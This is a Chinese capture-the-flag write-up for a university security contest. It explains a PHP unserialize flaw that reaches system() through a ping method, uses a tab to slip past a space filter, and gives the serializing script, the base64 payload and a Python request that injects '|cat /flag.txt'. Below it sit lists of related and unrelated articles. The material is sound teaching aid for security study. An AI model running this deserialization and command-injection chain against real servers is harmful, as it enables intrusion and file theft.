代码来自第六届防灾科技学院网络安全技能大赛,侵删。

目标

获取Linux服务器根目录下的flag

代码

/*home.php*/
class home{ private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
} function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
} function ping($host){
system("ping -c 2 $host");
}
function waf($str){
$str=str_replace(' ','',$str);
return $str;
} function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim(mysql_escape_string($v)));
}
}
}
$a=@$_POST['a'];
@unserialize(base64_decode($a));

分析

该PHP文件只接收一个base64编码的POST参数,将其解码后会进行反序列化操作。

在执行__wakeup()方法之后,会触发__construct()方法进行初始化,该方法没有可以利用的地方。

当所有的操作执行完毕之后,需要释放序列化的对象,触发__destruct()魔术方法。该方法只允许执行类中的ping方法,并会将args的值作为ping方法host参数。

ping中存在可控参数$host,且调用了system函数,这里便可以作为一个利用点。可以构造一个特殊的payload:

ping -c 2 127.0.0.1|cat /flag.txt
#不唯一

利用

整理上面的思路可知,若想得到flag最终要构造出如下的args字符串:

127.0.0.1|cat /flag.txt

而waf等方法又过滤掉了空格,这里可以通过将空格换成Tab来绕过该限制。

同时还要注意method必须为ping。

这里得到了构造payload的最终PHP脚本:

class home{

    private $method;
private $args;
}
$a = new home("ping",array('127.0.0.1|cat /flag.txt'));
$b = serialize($a);
echo base64_encode($b);

payload

Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ==

发送payload得到flag

import requests
data ={"a":"Tzo0OiJob21lIjoyOntzOjEyOiIAaG9tZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGhvbWUAYXJncyI7YToxOntpOjA7czoyNDoiMTI3LjAuMC4xfGNhdCAJL2ZsYWcudHh0Ijt9fQ=="}
url = 'http://localhost/common/home.php'
r = requests.post(url,data=data)
print(r.text)
#result:flag{glzjin_wants_a_girl_friend}

CTF中PHP反序列化和命令注入的一次简单利用的更多相关文章

  1. CTF—攻防练习之HTTP—命令注入

    主机:192.168.32.152 靶机:192.168.32.167 首先nmap,nikto -host,dirb 探测robots.txt目录下 在/nothing目录中,查看源码发现pass ...

  2. Natas9 Writeup(命令注入)

    Natas9: 审计源码,发现关键代码: $key = ""; if(array_key_exists("needle", $_REQUEST)) { $key ...

  3. CTF中的命令执行绕过

    本位原创作者:Smity 在介绍命令注入之前,有一点需要注意:命令注入与远程代码执行不同.他们的区别在于,远程代码执行实际上是调用服务器网站代码进行执行,而命令注入则是调用操作系统命令进行执行. 作为 ...

  4. CTF练习三 —— 命令注入&命令执行绕过

    这个题是第四届强网杯也就是2020.8.22号开始的那场一道简单的命令注入题,再这之前我并没有学习过命令注之类的知识,,,看到题之后先搜在学,,误打误撞解了出来,过段时间wp就会放出来,所以这里就不对 ...

  5. [原题复现+审计][网鼎杯 2018] WEB Fakebook(SSRF、反序列化、SQL注入)

    简介  原题复现:  考察知识点:SSRF.反序列化.SQL注入  线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 过 ...

  6. PHP漏洞全解(二)-命令注入攻击

    本文主要介绍针对PHP网站常见的攻击方式中的命令攻击.Command Injection,即命令注入攻击,是指这样一种攻击手段,黑客通过把HTML代码输入一个输入机制(例如缺乏有效验证限制的表格域)来 ...

  7. PHP安全编程:shell命令注入(转)

    使用系统命令是一项危险的操作,尤其在你试图使用远程数据来构造要执行的命令时更是如此.如果使用了被污染数据,命令注入漏洞就产生了. exec()是用于执行shell命令的函数.它返回执行并返回命令输出的 ...

  8. Commix命令注入漏洞利用

    介绍 项目地址:https://github.com/stasinopoulos/commix Commix是一个使用Python开发的漏洞测试工具,这个工具是为了方便的检测一个请求是否存在命令注入漏 ...

  9. PHP命令注入笔记

    一.PHP命令注入介绍 在学习php相关的攻击时,遇到了Command Injection,即命令注入攻击,是指这样一种攻击手段,黑客通过把HTML代码输入一个输入机制(例如缺乏有效验证限制的表格域) ...

随机推荐

  1. ubuntu中安装字体雅黑和consolas

    Ubuntu的群体里偏向使用雅黑,我目前用的YaHei.Consolas 1.11 版本 (雅黑-Consolas的混合体) http://www.netmako.com/RobertLee/YaHe ...

  2. centos7 firewall指定IP与端口、端段访问(常用)

    https://blog.csdn.net/yipianfuyunsm/article/details/99998332 https://www.cnblogs.com/co10rway/p/8268 ...

  3. eclipse svn 插件离线安装后connector获取不到的问题解决

    最近换了一家公司,写代码的电脑不给外网,所以各种麻烦的问题就来了,这里就说一下eclipse 安装SVN插件的一个小问题,虽说是小问题,但也折腾了我好几个小时,当然也可以不用这个插件,直接安装SVN客 ...

  4. iTop4412开发板+虚拟机+tftp服务

    感觉好坑啊 利用路由器+2根网线+tftp服务 首先是开发板,主机,虚拟机相互之间能ping通(坑), 关闭主机防火墙,防止被强 关闭虚拟机防火墙 虚拟机装上tftpd服务端(通过网上教程嘛) 是不是 ...

  5. 【JAVA各版本特性】JAVA 1.0 - JAVA 12

    make JDK Version 1.01996-01-23 Oak(橡树) 初代版本,伟大的一个里程碑,但是是纯解释运行,使用外挂JIT,性能比较差,运行速度慢. JDK Version 1.119 ...

  6. android提升

    https://blog.csdn.net/lou_liang/article/details/82856531

  7. Linux内核移植的若干问题

  8. wordpress网站不正常显示解决办法

    第一种:自己在后台修改了wordpress网址,导致不能登陆后台. 解决办法: 1.首先我们登录MySql数据库,这个不用我教吧: 2.查看表”wp_options”的数据(你的表不一定是以”wp”开 ...

  9. solr schema.xml配置

    solr使用_version_来做文档的版本控制和修改时加锁(乐观锁) <field name="_version_" type="long" index ...

  10. bind支持mysql

    最近打算将bind的记录信息存入到数据库中去,网上找了下,原来早有老外写好了mysql-bind的补丁,重新编译bind即可实现bind支持mysql存储.(http://mysql-bind.sou ...